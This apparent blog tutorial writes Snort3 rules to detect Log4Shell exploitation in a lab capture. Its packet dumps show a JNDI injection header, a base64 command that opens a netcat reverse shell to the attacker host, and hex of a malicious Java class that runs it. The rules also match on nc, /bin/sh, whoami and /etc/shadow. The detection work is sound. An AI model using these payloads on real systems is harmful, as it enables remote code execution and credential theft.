Showing posts with label Log4J. Show all posts
Showing posts with label Log4J. Show all posts

Friday, December 24, 2021

Continuing Log4-Shell - Snort3 Rule - Detection

Now that we have a better understanding of the vulnerability, how it is being exploited, as well as how we can use packet analysis to understand the activities seen on the network, let's now use Snort3 to  automate our future detections, thus reducing that dwell time.

First up, I will create my own Snort configuration file (snort-log4j-conf.lua) and a local.rules file to store my own rules.

┌──(rootđź’€securitynik)-[~/log4j]
└─# touch snort-log4j-conf.lua && touch local.rules && ls snort-log4j-conf.lua local.rules -l
-rw-r--r-- 1 root root 0 Dec 21 13:39 local.rules
-rw-r--r-- 1 root root 0 Dec 21 13:39 snort-log4j-conf.lua

Without any rules or special configuration, let's run this against snort3 default installation to see what we get. This is important as we will have something to compare against later. This is also meant to show the benefits of customizing your security tools for your environment. 

First up, I'm running on Snort Version 3.1.18.0

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --version                                                                                                                                               

   ,,_     -*> Snort++ <*-
  o"  )~   Version 3.1.18.0
   ''''    By Martin Roesch & The Snort Team
           http://snort.org/contact#team
           Copyright (C) 2014-2021 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using DAQ version 3.0.5
           Using LuaJIT version 2.1.0-beta3
           Using OpenSSL 1.1.1l  24 Aug 2021
           Using libpcap version 1.10.1 (with TPACKET_V3)
           Using PCRE version 8.44 2020-02-12
           Using ZLIB version 1.2.11
           Using FlatBuffers 2.0.5
           Using Hyperscan version 5.4.0 2021-12-20
           Using LZMA version 5.2.5

We already know there is activity related to Log4J in this PCAP. However, using my default configuration no alters were triggers for the 7568 packets received, analyzed and allowed. This is expected as we can only detect what we tell the tool we would like to be detect on. Hence the need for rules and customization for your specific environment.

┌──(rootđź’€securitynik)-[/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos 
--------------------------------------------------
o")~   Snort++ 3.1.18.0
--------------------------------------------------
Loading ./snort-log4j-conf.lua:
        hosts
        host_cache
        active
        packets
        decode
        so_proxy
        trace
        search_engine
        process
        network
        host_tracker
        output
        daq
        alerts
Finished ./snort-log4j-conf.lua:
Loading rule args:
Loading ./local.rules:
Finished ./local.rules:
Finished rule args:
--------------------------------------------------
Network Policy : policy id 0 : ./snort-log4j-conf.lua
--------------------------------------------------
Inspection Policy : policy id 0 : ./snort-log4j-conf.lua
--------------------------------------------------
so_proxy:
--------------------------------------------------
pcap DAQ configured to read-file.
--------------------------------------------------
host_cache
    memcap: 8388608 bytes
Commencing packet processing
++ [0] log4-shell.pcapng
Instance 0 daq pool size: 256
Instance 0 daq batch size: 64
-- [0] log4-shell.pcapng
--------------------------------------------------
Packet Statistics
--------------------------------------------------
daq
                    pcaps: 1
                 received: 7568
                 analyzed: 7568
                    allow: 7568
                 rx_bytes: 821104
--------------------------------------------------
codec
                    total: 7568         (100.000%)
                 discards: 7523         ( 99.405%)
                      eth: 7568         (100.000%)
                     ipv4: 7568         (100.000%)
                      tcp: 7568         (100.000%)
--------------------------------------------------
Module Statistics
--------------------------------------------------
detection
                 analyzed: 7568
--------------------------------------------------
tcp
        bad_tcp4_checksum: 7523
--------------------------------------------------
Summary Statistics
--------------------------------------------------
timing
                  runtime: 00:00:00
                  seconds: 0.030417
                 pkts/sec: 7568
                Mbits/sec: 6
o")~   Snort exiting

Here is what my finished snort3 configuration file looks like.

-- Take advantage of some of Snort3 default configuration
include '/usr/local/etc/snort/snort_defaults.lua'

-- leverage the default classifications
classifications = default_classifications


-- Our protected network
HOME_NET = [[172.17.0.0/24]]

-- The networks we do not own
EXTERNAL_NET = '!$HOME_NET'

-- We want to take advantage of hyperscan for pattern matching
search_engine = { search_method = "hyperscan" }

-- Take advantage of the default wizard for port, services, etc. bindings
wizard = default_wizard

-- So that we can profile our rules, modules, etc.
profiler = { }

-- Ensure we reassemble the TCP Streams
stream = { }

-- Tell the stream to leverage the Linux policy when it is reassembling the streams
stream_tcp = { policy = "linux" }



-- Setup the HTTP Preprocessor
http_inspect = { }

-- To take advantage of the variables such as HOME_NET
securitynik_variables = 
    {
	nets = 
	    {
		HOME_NET = HOME_NET,
		EXTERNAL_NET = EXTERNAL_NET,
	    }
    } 

ips = 
    {
	mode = tap,
	variables = securitynik_variables,
    }

With my first rule attempt ...

/* This rule tracks activity from critical host making connections to external host */
alert tcp $HOME_NET any -> $EXTERNAL_NET any 
	(
		msg: "SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host!";
		reference: url, www.securitynik.com;
		classtype: bad-unknown; 
		rev: 2;
		sid: 4000001;
	)

I got ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos -q
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1      7568      63971          8     97.29    97.29
 2                        daq     1      7688        828          0      1.26     1.26
 3                     decode     1      7568        626          0      0.95     0.95
 4                       mpse     1      7778        138          0      0.21     0.21
 5                     eventq     1      7645        126          0      0.19     0.19
 6                     stream     1        45         39          0      0.06     0.06
 7                 stream_tcp     1        45         11          0      0.02     0.02
 8                  rule_eval     1        45         10          0      0.02     0.02
 9                     binder     1        23          1          0      0.00     0.00
--                      total    --      7568      65755          8        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   2        45       0      0         5         0         0             0        0        0

... 0 alerts. This makes no sense, as above we saw daq report 1 pcap with 7568 received. What is going on here. Well if we looked closely at out initial output, when we ran Snort with our empty configs, we  see a number of these packets are reporting as having bad checksum. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos | grep checksum
        bad_tcp4_checksum: 7523

Now, typically, when the checksum is bad, the end host would discard these packets. However, these checksums may be considered bad because of checksum offloading. Checksum offloading is where your network interface card (NIC) handles the checksum calculation, rather than your operating system. Let's disable checksum validation by adding "-k none" for this and see if it makes a difference.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A talos -c ./snort-log4j-conf.lua -R ./local.rules -q -k none

##### log4-shell.pcapng #####
        [1:4000001:2] SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host! (alerts: 172)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1      7568      30509          4     82.24    82.24
 2                 stream_tcp     1      7568       2042          0      5.51     5.51
 3                  rule_eval     1      8846       1028          0      2.77     2.77
 4                        daq     1      7688        933          0      2.52     2.52
 5                     stream     1      7568        848          0      2.29     2.29
 6                     decode     1      7568        710          0      1.91     1.91
 7                       mpse     1     25380        614          0      1.66     1.66
 8                     eventq     1     11469        333          0      0.90     0.90
 9                        paf     1      1841         47          0      0.13     0.13
 10                    binder     1       663         30          0      0.08     0.08
--                      total    --      7568      37097          4        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   2      8846     198    172       419         0         0             0        0        0

Much better! Now we have 172 alerts. More than we need but at least we know our rule is heading in the right direction. No errors were produced and we got alerts. That is good enough for me. Taking a different look to understand one of the alerts.

12/20-13:07:32.050544 [**] [1:4000001:2] "SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host!" [**] [Classification: Potentially Bad Traffic] [
Priority: 2] {TCP} 172.17.0.2:36820 -> 192.168.56.102:389
02:42:AC:11:00:02 -> 02:42:3B:12:40:E4 type:0x800 len:0xB3
172.17.0.2:36820 -> 192.168.56.102:389 TCP TTL:64 TOS:0x0 ID:57527 IpLen:20 DgmLen:165 DF
***AP*** Seq: 0x941ABE2B  Ack: 0xABF72E9F  Win: 0x1F6  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2720869590 831471978

snort.raw[113]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
30 6F 02 01 02 63 4D 04  2D 42 61 73 69 63 2F 43  0o...cM. -Basic/C
6F 6D 6D 61 6E 64 2F 42  61 73 65 36 34 2F 64 47  ommand/B ase64/dG
39 31 59 32 67 67 4C 33  52 74 63 43 39 77 64 32  91Y2ggL3 RtcC9wd2
35 6C 5A 41 6F 3D 0A 01  00 0A 01 03 02 01 00 02  5lZAo=.. ........
01 00 01 01 00 87 0B 6F  62 6A 65 63 74 43 6C 61  .......o bjectCla
73 73 30 00 A0 1B 30 19  04 17 32 2E 31 36 2E 38  ss0...0. ..2.16.8
34 30 2E 31 2E 31 31 33  37 33 30 2E 33 2E 34 2E  40.1.113 730.3.4.
32                                                2
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Looks good. Completing our first rule.

/* 
	This rule tracks activity from critical host attempting to make a connection to external host 
	One of the shortfall of this rule, is it has no content. Snort and Cisco's rule writers
	would not be happy about this if they were using this in production. 
	Do remember, we are learning here and addressing OUR lab concerns.
*/
alert tcp $HOME_NET any -> $EXTERNAL_NET 389 
    (
	msg: "SUSPICIOUS ACTIVITY - Critical Asset attempting to establish TCP/389 (LDAP) connection with External Host";
	flow: from_client;
	flags: S; /* Looking for TCP SYN flag*/
	flowbits: set, "securitynik_log4shell_attempt"; /* Set a flowbit to track this activity across this session */
	flowbits: noalert;
	reference: url, www.securitynik.com;
	classtype: bad-unknown; 
	rev: 3;
	sid: 4000001;
    )

This just detects the critical host making an attempt to connect to an external device but will not alert. Hence the 0 alerts below.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -c ./snort-log4j-conf.lua -R ./local.rules -q --talos -k none

rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   3       156      14      0        52         0         2             0        0        0

Writing our second rule to detect this activity.

/* This second rule builds on the first and will confirm the suspicious activity 
   By looking at the flowbit, we can tie the first activity with this second.
   Do note, this will trigger alerts.
*/
alert tcp $EXTERNAL_NET 389 -> $HOME_NET any 
    (
	msg: "SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host";
	flow: established, from_server; /* Ensuring the 3-way handshake has completed */
	content:"javaNamingReference", nocase;
	content: "http|3A 2F 2F|", nocase;
	content: "Basic|2f|Command|2f|Base64|2f|", nocase;
	regex: "/[a-bA-B0-9].*?=/"; /* because we know there is a base64 pattern after, look for that via regex*/
	flags: PA; /* looking at the flags to see if the external device is now sending data while ack'in the critical asset*/
	flowbits: isset, "securitynik_log4shell_attempt";
	reference: url, www.securitynik.com;
	classtype: policy-violation; 
	rev: 3;
	sid: 4000002;
    )

When this is run, we can see three alerts trigger.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q  
##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
#####
--------------------------------------------------
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000002   3         6       3      3        71        11        20             2        0        0
2         14000001   3       156      14      0        65         0         3             0        0        0

Looking at the packet that caused our rule to alert.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q                                                         
12/20-13:07:32.109820 [**] [1:4000002:3] "SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host" [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 192.168.56.102:389 -> 172.17.0.2:36820
02:42:3B:12:40:E4 -> 02:42:AC:11:00:02 type:0x800 len:0x10D
192.168.56.102:389 -> 172.17.0.2:36820 TCP TTL:64 TOS:0x0 ID:33047 IpLen:20 DgmLen:255 DF
***AP*** Seq: 0xABF72E9F  Ack: 0x941ABE9C  Win: 0x1FD  TcpLen: 32
TCP Options (3) => NOP NOP TS: 831472039 2720869590

snort.raw[203]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
30 81 C8 02 01 02 64 81  C2 04 2D 42 61 73 69 63  0.....d. ..-Basic
2F 43 6F 6D 6D 61 6E 64  2F 42 61 73 65 36 34 2F  /Command /Base64/
64 47 39 31 59 32 67 67  4C 33 52 74 63 43 39 77  dG91Y2gg L3RtcC9w
64 32 35 6C 5A 41 6F 3D  30 81 90 30 16 04 0D 6A  d25lZAo= 0..0...j
61 76 61 43 6C 61 73 73  4E 61 6D 65 31 05 04 03  avaClass Name1...
66 6F 6F 30 2C 04 0C 6A  61 76 61 43 6F 64 65 42  foo0,..j avaCodeB
61 73 65 31 1C 04 1A 68  74 74 70 3A 2F 2F 31 39  ase1...h ttp://19
32 2E 31 36 38 2E 35 36  2E 31 30 32 3A 34 34 33  2.168.56 .102:443
2F 30 24 04 0B 6F 62 6A  65 63 74 43 6C 61 73 73  /0$..obj ectClass
31 15 04 13 6A 61 76 61  4E 61 6D 69 6E 67 52 65  1...java NamingRe
66 65 72 65 6E 63 65 30  22 04 0B 6A 61 76 61 46  ference0 "..javaF
61 63 74 6F 72 79 31 13  04 11 45 78 70 6C 6F 69  actory1. ..Exploi
74 51 38 76 37 79 67 42  57 34 69                 tQ8v7ygB W4i
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Good stuff! Moving on to our HTTP rules. 

Looking now at the HTTP rule to detect OUR JNDI activities. I keep emphasizing OUR as while we can use these concepts to develop rules for your production environment, there is no guarantee this rule will absolutely detect this activity in your environment. We are building these rules from the perspective of what we know about the contents of the packets from our labs.

/* 
    Taking advantage of a HTTP service rules to find 
    HTTP activity and the JNDI content	
*/
alert http 
    (   
	rem: "This rule is looking for the JNDI content in OUR pcap";
	msg: "POSSIBLE Log4J VULNERABILITY EXPLOITATION ";
	flow: established, to_server;
	http_header: request; /* Look at the HTTP request header */
	content: "X-Api-Version", nocase; /* Look for content X-Api-Version */
	content: "jndi", nocase;
	regex: "/(?i)\$\{jndi:ldap:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+\/.*?=\}/";
	reference: url, www.securitynik.com;
	classtype: web-application-activity;
	sid: 4000003;	
    )

Running this rule.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q

##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       161         7        26             4        0        0
2         14000001   3       155      14      0        64         0         3             0        0        0
3         14000002   3         6       3      3        35         5         8             3        0        0

Good stuff! Our rule detected the activity. Looking at the output.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q
12/20-14:00:58.960398 [**] [1:4000003:0] "POSSIBLE Log4J VULNERABILITY EXPLOITATION " [**] [Classification: Access to a potentially vulnerable web application] [Priority: 2] {TCP} 172.17.0.1:60324 -> 172.17.0.2:8080

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[1]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F                                                /
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[190]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 6F 73 74 3A 20 31 32  37 2E 30 2E 30 2E 31 3A  Host: 12 7.0.0.1:
38 30 38 30 0D 0A 41 63  63 65 70 74 3A 20 2A 2F  8080..Ac cept: */
2A 0D 0A 58 2D 41 70 69  2D 56 65 72 73 69 6F 6E  *..X-Api -Version
3A 20 24 7B 6A 6E 64 69  3A 6C 64 61 70 3A 2F 2F  : ${jndi :ldap://
31 39 32 2E 31 36 38 2E  35 36 2E 31 30 32 3A 33  192.168. 56.102:3
38 39 2F 42 61 73 69 63  2F 43 6F 6D 6D 61 6E 64  89/Basic /Command
2F 42 61 73 65 36 34 2F  62 6D 4D 67 4D 54 6B 79  /Base64/ bmMgMTky
4C 6A 45 32 4F 43 34 31  4E 69 34 78 4D 44 49 67  LjE2OC41 Ni4xMDIg
4F 44 41 67 4C 57 55 67  4C 32 4A 70 62 69 39 7A  ODAgLWUg L2Jpbi9z
61 43 41 74 64 6E 5A 32  43 67 3D 3D 7D 0D 0A 55  aCAtdnZ2 Cg==}..U
73 65 72 2D 41 67 65 6E  74 3A 20 53 65 63 75 72  ser-Agen t: Secur
69 74 79 4E 69 6B 20 54  65 73 74 69 6E 67        ityNik T esting
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

That's progress! Detecting netcat activity.

alert http
    (
	msg: "CODE EXECUTION ON CRITICAL SERVER - from external host";
	flow: established, to_client;
	content: "Exploit", nocase;
	regex: "/Exploit[0-9a-zA-Z]*/i"; /* Match on strings such as ExploitSMMZvT8GXL. */
	content: "/bin/sh", nocase;
	content: "cmd", nocase;
	content: "nc", fast_pattern, nocase;
	reference: url, www.securitynik.com;
	classtype: web-application-activity; 
	rev: 3;
	sid: 4000004;
    )

When this rule is run, we get 2 alerts fired:

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q   
##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
        [1:4000004:3] CODE EXECUTION ON CRITICAL SERVER - from external host (alerts: 2)
#####
--------------------------------------------------
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       251        11        45             6        0        0
2         14000001   3       155      14      0       116         0         6             0        0        0
3         14000002   3         6       3      3        88        14        19             9        0        0
4         14000004   3         2       2      2        23        11        11             0        0        0

Looking at the output of the rule match.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg 


12/20-14:00:58.969683 [**] [1:4000004:3] "CODE EXECUTION ON CRITICAL SERVER - from external host" [**] [Classification: Access to a potentially vulnerable web application] [Priority: 2] {TCP} 192.168.56.102:443 -> 172.17.0.2:51836

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_stat_code[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
32 30 30                                          200
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_stat_msg[2]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
4F 4B                                             OK
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[24]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 45 78 70 6C 6F 69 74  36 48 48 63 33 42 63 56  /Exploit 6HHc3BcV
7A 49 2E 63 6C 61 73 73                           zI.class 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[57]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
44 61 74 65 3A 20 4D 6F  6E 2C 20 32 30 20 44 65  Date: Mo n, 20 De
63 20 32 30 32 31 20 31  39 3A 30 30 3A 35 38 20  c 2021 1 9:00:58 
47 4D 54 0D 0A 43 6F 6E  74 65 6E 74 2D 6C 65 6E  GMT..Con tent-len
67 74 68 3A 20 31 32 33  36                       gth: 123 6
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.stream_tcp[1236]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
CA FE BA BE 00 00 00 32  00 3D 01 00 11 45 78 70  .......2 .=...Exp
6C 6F 69 74 36 48 48 63  33 42 63 56 7A 49 07 00  loit6HHc 3BcVzI..
01 01 00 40 63 6F 6D 2F  73 75 6E 2F 6F 72 67 2F  ...@com/ sun/org/
61 70 61 63 68 65 2F 78  61 6C 61 6E 2F 69 6E 74  apache/x alan/int
65 72 6E 61 6C 2F 78 73  6C 74 63 2F 72 75 6E 74  ernal/xs ltc/runt
69 6D 65 2F 41 62 73 74  72 61 63 74 54 72 61 6E  ime/Abst ractTran
73 6C 65 74 07 00 03 01  00 03 63 6D 64 01 00 12  slet.... ..cmd...
4C 6A 61 76 61 2F 6C 61  6E 67 2F 53 74 72 69 6E  Ljava/la ng/Strin
67 3B 01 00 06 3C 69 6E  69 74 3E 01 00 03 28 29  g;...<in it>...()
56 01 00 13 6A 61 76 61  2F 69 6F 2F 49 4F 45 78  V...java /io/IOEx
63 65 70 74 69 6F 6E 07  00 09 0C 00 07 00 08 0A  ception. ........
00 04 00 0B 01 00 0C 6A  61 76 61 2F 69 6F 2F 46  .......j ava/io/F
69 6C 65 07 00 0D 01 00  09 73 65 70 61 72 61 74  ile..... .separat
6F 72 0C 00 0F 00 06 09  00 0E 00 10 01 00 01 2F  or...... ......./
08 00 12 01 00 10 6A 61  76 61 2F 6C 61 6E 67 2F  ......ja va/lang/
53 74 72 69 6E 67 07 00  14 01 00 06 65 71 75 61  String.. ....equa
6C 73 01 00 15 28 4C 6A  61 76 61 2F 6C 61 6E 67  ls...(Lj ava/lang
2F 4F 62 6A 65 63 74 3B  29 5A 0C 00 16 00 17 0A  /Object; )Z......
00 15 00 18 01 00 07 2F  62 69 6E 2F 73 68 08 00  ......./ bin/sh..
1A 01 00 02 2D 63 08 00  1C 0C 00 05 00 06 09 00  ....-c.. ........
02 00 1E 08 00 05 01 00  02 2F 43 08 00 21 01 00  ........ ./C..!..
13 5B 4C 6A 61 76 61 2F  6C 61 6E 67 2F 53 74 72  .[Ljava/ lang/Str
69 6E 67 3B 07 00 23 01  00 11 6A 61 76 61 2F 6C  ing;..#. ..java/l
61 6E 67 2F 52 75 6E 74  69 6D 65 07 00 25 01 00  ang/Runt ime..%..
0A 67 65 74 52 75 6E 74  69 6D 65 01 00 15 28 29  .getRunt ime...()
4C 6A 61 76 61 2F 6C 61  6E 67 2F 52 75 6E 74 69  Ljava/la ng/Runti
6D 65 3B 0C 00 27 00 28  0A 00 26 00 29 01 00 04  me;..'.( ..&.)...
65 78 65 63 01 00 28 28  5B 4C 6A 61 76 61 2F 6C  exec..(( [Ljava/l
61 6E 67 2F 53 74 72 69  6E 67 3B 29 4C 6A 61 76  ang/Stri ng;)Ljav
61 2F 6C 61 6E 67 2F 50  72 6F 63 65 73 73 3B 0C  a/lang/P rocess;.
00 2B 00 2C 0A 00 26 00  2D 01 00 0F 70 72 69 6E  .+.,..&. -...prin
74 53 74 61 63 6B 54 72  61 63 65 0C 00 2F 00 08  tStackTr ace../..
0A 00 0A 00 30 01 00 09  74 72 61 6E 73 66 6F 72  ....0... transfor
6D 01 00 72 28 4C 63 6F  6D 2F 73 75 6E 2F 6F 72  m..r(Lco m/sun/or
67 2F 61 70 61 63 68 65  2F 78 61 6C 61 6E 2F 69  g/apache /xalan/i
6E 74 65 72 6E 61 6C 2F  78 73 6C 74 63 2F 44 4F  nternal/ xsltc/DO
4D 3B 5B 4C 63 6F 6D 2F  73 75 6E 2F 6F 72 67 2F  M;[Lcom/ sun/org/
61 70 61 63 68 65 2F 78  6D 6C 2F 69 6E 74 65 72  apache/x ml/inter
6E 61 6C 2F 73 65 72 69  61 6C 69 7A 65 72 2F 53  nal/seri alizer/S
65 72 69 61 6C 69 7A 61  74 69 6F 6E 48 61 6E 64  erializa tionHand
6C 65 72 3B 29 56 01 00  39 63 6F 6D 2F 73 75 6E  ler;)V.. 9com/sun
2F 6F 72 67 2F 61 70 61  63 68 65 2F 78 61 6C 61  /org/apa che/xala
6E 2F 69 6E 74 65 72 6E  61 6C 2F 78 73 6C 74 63  n/intern al/xsltc
2F 54 72 61 6E 73 6C 65  74 45 78 63 65 70 74 69  /Transle tExcepti
6F 6E 07 00 34 01 00 A6  28 4C 63 6F 6D 2F 73 75  on..4... (Lcom/su
6E 2F 6F 72 67 2F 61 70  61 63 68 65 2F 78 61 6C  n/org/ap ache/xal
61 6E 2F 69 6E 74 65 72  6E 61 6C 2F 78 73 6C 74  an/inter nal/xslt
63 2F 44 4F 4D 3B 4C 63  6F 6D 2F 73 75 6E 2F 6F  c/DOM;Lc om/sun/o
72 67 2F 61 70 61 63 68  65 2F 78 6D 6C 2F 69 6E  rg/apach e/xml/in
74 65 72 6E 61 6C 2F 64  74 6D 2F 44 54 4D 41 78  ternal/d tm/DTMAx
69 73 49 74 65 72 61 74  6F 72 3B 4C 63 6F 6D 2F  isIterat or;Lcom/
73 75 6E 2F 6F 72 67 2F  61 70 61 63 68 65 2F 78  sun/org/ apache/x
6D 6C 2F 69 6E 74 65 72  6E 61 6C 2F 73 65 72 69  ml/inter nal/seri
61 6C 69 7A 65 72 2F 53  65 72 69 61 6C 69 7A 61  alizer/S erializa
74 69 6F 6E 48 61 6E 64  6C 65 72 3B 29 56 01 00  tionHand ler;)V..
08 3C 63 6C 69 6E 69 74  3E 01 00 25 6E 63 20 31  .<clinit >..%nc 1
39 32 2E 31 36 38 2E 35  36 2E 31 30 32 20 38 30  92.168.5 6.102 80
20 2D 65 20 2F 62 69 6E  2F 73 68 20 2D 76 76 76   -e /bin /sh -vvv
0A 08 00 38 01 00 04 43  6F 64 65 01 00 0D 53 74  ...8...C ode...St
61 63 6B 4D 61 70 54 61  62 6C 65 01 00 0A 45 78  ackMapTa ble...Ex
63 65 70 74 69 6F 6E 73  00 21 00 02 00 04 00 00  ceptions .!......
00 01 00 0A 00 05 00 06  00 00 00 04 00 01 00 07  ........ ........
00 08 00 01 00 3A 00 00  00 7E 00 04 00 03 00 00  .....:.. .~......
00 4D 2A B7 00 0C B2 00  11 12 13 B6 00 19 99 00  .M*..... ........
1B 06 BD 00 15 59 03 12  1B 53 59 04 12 1D 53 59  .....Y.. .SY...SY
05 B2 00 1F 53 4C A7 00  18 06 BD 00 15 59 03 12  ....SL.. .....Y..
20 53 59 04 12 22 53 59  05 B2 00 1F 53 4C B8 00   SY.."SY ....SL..
2A 2B B6 00 2E 57 A7 00  08 4D 2C B6 00 31 B1 00  *+...W.. .M,..1..
01 00 3C 00 44 00 47 00  0A 00 01 00 3B 00 00 00  ..<.D.G. ....;...
17 00 04 FF 00 27 00 01  07 00 02 00 00 FC 00 14  .....'.. ........
07 00 24 4A 07 00 0A 04  00 01 00 32 00 33 00 02  ..$J.... ...2.3..
00 3A 00 00 00 0D 00 00  00 03 00 00 00 01 B1 00  .:...... ........
00 00 00 00 3C 00 00 00  04 00 01 00 35 00 01 00  ....<... ....5...
32 00 36 00 02 00 3A 00  00 00 0D 00 00 00 04 00  2.6...:. ........
00 00 01 B1 00 00 00 00  00 3C 00 00 00 04 00 01  ........ .<......
00 35 00 08 00 37 00 08  00 01 00 3A 00 00 00 12  .5...7.. ...:....
00 01 00 00 00 00 00 06  12 39 B3 00 1F B1 00 00  ........ .9......
00 00 00 00                                       ....
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Time for the final rule, to detect the netcat post exploitation activity.

/* 
    This final rule, will detect the netcat within our PCAP.
*/
alert tcp $EXTERNAL_NET 80 -> $HOME_NET any  
    (
	/* This rule is looking for post exploitation activity within our PCAP */
	msg: "POSSIBLE COMMAND AND CONTROL - POST EXPLOITATION ACTIVITY - via 80/TCP (HTTP)";
	flow: established, from_server;
	content: "id", nocase;
	content: "whoami", nocase;
	content: "/etc/shadow", nocase;
	reference: url, www.securitynik.com;
	classtype: malware-cnc; 
	rev: 3;
	sid: 4000005;
    )

When our rule fires, we see get one alert. ...

┌──(rootđź’€securitynik)-[~/log4j]
